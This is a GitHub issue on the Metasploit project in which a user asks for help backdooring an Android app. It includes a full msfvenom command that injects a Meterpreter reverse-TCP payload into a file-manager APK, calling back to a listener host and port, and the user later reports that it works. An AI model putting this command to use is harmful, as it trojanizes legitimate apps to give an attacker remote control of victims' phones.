Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Backdoring APK Files #17958

Closed
gabriel-maxx opened this issue May 2, 2023 · 3 comments
Closed

Backdoring APK Files #17958

gabriel-maxx opened this issue May 2, 2023 · 3 comments
Labels
question Questions about Metasploit Usage

Comments

@gabriel-maxx
Copy link

hello I would like to know what this is because it is not working when I use the command:

msfvenom -x filemanager.apk -p android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 -o backdored.apk

Error: apktool not found. If it's not in your PATH, please add it.

so i do SET PATH=%PATH%;C:\apktool

and this time I don't have the apktool error but another message appears and nothing happens, it's infinite like that.

[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload

@gabriel-maxx gabriel-maxx added the question Questions about Metasploit Usage label May 2, 2023
@bcoles
Copy link
Contributor

bcoles commented May 2, 2023

@gabriel-maxx
Copy link
Author

gabriel-maxx commented May 2, 2023

@bcoles Thanks now everything is working perfectly but I have one last question, when I try to use stageless this message appears Error: Stageless Android payloads (e.g android/meterpreter_reverse_tcp) are not compatible with injection (-x)
Could you explain to me why it is not compatible?

@bcoles
Copy link
Contributor

bcoles commented May 2, 2023

I have no idea

@bcoles bcoles closed this as completed May 2, 2023
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Questions about Metasploit Usage
Projects
None yet
Development

No branches or pull requests

2 participants